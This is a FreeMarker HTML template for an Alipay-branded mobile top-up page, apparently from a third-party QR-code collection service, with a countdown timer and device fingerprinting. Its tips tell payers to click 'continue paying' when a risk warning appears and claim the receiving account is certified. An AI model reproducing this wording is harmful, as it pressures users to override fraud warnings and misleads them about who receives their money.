<!DOCTYPE html>
<html>
<head>
    <title>支付宝收银台</title>
    <meta name="viewport"
          content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=0">
    <link rel="apple-touch-icon" href="/alipay/icon.ico">
    <link rel="shortcut icon" href="/alipay/icon.ico">
    <script charset="utf-8" src="/alipay/h5cashier.js"></script>
    <link rel="stylesheet" type="text/css" href="/alipay/h5cashier.css" media="all">

    <style>
        body {
            word-break: break-all;
            word-wrap: break-word;
            text-align: center;
            font-weight: 500;
            background-color: #ffffff;
            font-family: PingFangSC-Regular, "Helvetica Neue", Helvetica, Arial, "Lucida Grande", sans-serif;
        }

        .result {
            width: 100%;
        }

        .result-logoWrap {
            margin: auto auto;
            text-align: center;
            border-bottom: 1px solid #ddd;
        }

        .result-logo {
            width: 129px;
            height: 40px;
            margin: 5px auto 5px;
            background-image: url('/alipay/alipay.png');
            background-repeat: no-repeat;
            background-size: contain;
        }

        .result-title {
            font-size: 20px;
            font-weight: bold;
            color: #333333;
            padding-right: 40px;
            padding-left: 40px;
            max-width: 370px;
            margin: auto auto 10px;
        }

        .result-tips {
            max-width: 370px;
            margin: 2px auto;
            padding: 0 10px;
            font-size: 15px;
            line-height: 20px;
            text-align: justify;

        }

        .result-qr {
            margin: auto auto;
            padding: 10px 20px;
            line-height: 20px;

        }

        .result-order {
            margin: 5px auto;
            padding: 0 10px;
            color: blueviolet;
            line-height: 18px;
            font-weight: bold;
        }

        .result-img {
            max-width: 70%;
            max-height: 80%;
            margin: auto 55px;
        }

        .result-botton {
            margin: 0 40px 5px;
        }

        .result-botton a {
            display: block;
            margin: auto;
            -webkit-box-sizing: border-box;
            box-sizing: border-box;
            max-width: 384px;
            height: 51px;
            line-height: 43px;
            background: #108EE9;
            text-align: center;
            border-radius: 1.5px;
            border: 1px solid #108EE9;
        }

        .result-botton a.am-button-white {
            color: #108EE9;
            background: #ffffff;
            border: 1px solid #108EE9;
        }

        .result-botton .am-button[disabled=disabled] {
            color: #e6e6e6;
            background: #f8f8f8;
            border: 1px solid #dedede;
        }
    </style>
</head>

<body onload="loadOver()">
<div class="am-content">
    <div class="result">
        <div class="result-logoWrap">
            <div class="result-logo"></div>
        </div>
        <#if expire == 0>
        <#--            <div class="result-order">订单号: ${mchOrderNo}</div>-->
            <div class="result-order">订单金额: <span class="amount">${amount}</span></div>
            <div class="result-order">本次充值有效时间: <span id="time"></span></div>
            <div class="result-qr" id="qrcode"></div>
            <div class="result-botton" style="display: none">
                <a class="J-startapp am-button am-button-blue" id="jumpBtn" data-clipboard-target=".amount"
                   href='#'>点击使用支付宝APP付款</a>
            </div>
            <div class="result-tips">1、为保障您能顺利充值，建议您使用另一个手机扫描此二维码进行支付，或者将此二维码截图后扫码；</div>
            <div class="result-tips">2、如遇风险提示，点击<span
                        style="font-weight: bold; color: red">[继续付款]</span>，此收款二维码账户已通过平台认证，支付成功后立即到账，请<span
                        style="font-weight: bold; color: red">[放心支付]</span>；</div>
            <div class="result-tips">3、请支付和订单相同金额，一个收款码只能使用一次，请勿重复支付。</div>
        <#else>
            <h1 class="red" style="font-size: 25px; margin: 100px auto">订单已失效，请重新提交。</h1>
        </#if>
    </div>
</div>
</body>
<#if expire == 0>
    <script src="https://cdn.jsdelivr.net/gh/jquery/jquery@3.2.1/dist/jquery.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/mobile-detect/mobile-detect.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/clipboard@2/dist/clipboard.min.js"></script>
    <script src="https://cdn.bootcss.com/jquery.qrcode/1.0/jquery.qrcode.min.js"></script>
    <script src="https://cdn.bootcss.com/layer/2.3/layer.js"></script>
    <link rel="stylesheet" type="text/css" href="https://cdn.bootcss.com/layer/2.3/skin/layer.css" media="all">
    <script type="text/javascript">
        var md = new MobileDetect(navigator.userAgent);
        var osStr = md.os()
        var qrUrl = "${codeUrl}";
        if (osStr == "iOS") {
            qrUrl = "${codeUrl}";
            $(".result-botton").show();
        } else if (osStr == "AndroidOS") {
            qrUrl = "${codeUrl}";
            // $(".result-botton").show();
        }

        var img = '<img id="qrCodeIco" src="/alipay/logo.png" style="position: absolute;width: 30px; height: 30px;" />';
        $("#qrcode").html(img);

        jQuery('#qrcode').qrcode({
            render: "canvas",
            text: '${codeUrl}',
            width: "256",
            height: "256",
            background: "#ffffff",
            foreground: "#000000",
            correctLevel: 0
        });

        var margin = ($("#qrcode").height() - $("#qrCodeIco").height()) / 2;
        $("#qrCodeIco").css("margin", margin);

        var deviceInfo = md.os() + ":" + md.mobile() + "-" + "-" + md.versionStr("Build") + "-" + md.userAgent();

        function loadOver() {
            $.ajax({url: "/api/code/phase?type=1&orderNo=${orderNo}&device=" + deviceInfo});
        }

        $("#jumpBtn").click(function () {
            $.ajax({url: "/api/code/phase?type=2&orderNo=${orderNo}"});
            layer.msg('复制金额成功, 点击[打开]为您跳转至支付宝...', {icon: 1, time: 1000}, function () {
                $(location).attr('href', 'https://ds.alipay.com/?scheme='+encodeURIComponent('alipays://platformapi/startapp?saId=10000007&qrcode=' + qrUrl));
            });
        })

        var showtime = function () {
            var nowtime = new Date();
            var endtime = new Date('${createTime}'.replace(/-/g, "/"));
            var lefttime = endtime.getTime() - nowtime.getTime();
            var leftM = Math.floor(lefttime / (1000 * 60) % 60);
            var leftS = Math.floor(lefttime / 1000 % 60);
            leftM = leftM <= 0 ? "00" : leftM;
            leftS = leftS < 10 && leftS > 0 ? "0" + leftS : leftS;
            leftS = leftS <= 0 ? "00" : leftS;
            return leftM + ":" + leftS;
        }

        var timeSpan = document.getElementById("time");
        setInterval(function () {
            timeSpan.innerHTML = showtime();
        }, 1000);

        var clipboard = new ClipboardJS('.am-button-blue');
        clipboard.on('success', function (e) {
            e.clearSelection();
        });
    </script>
</#if>
</html>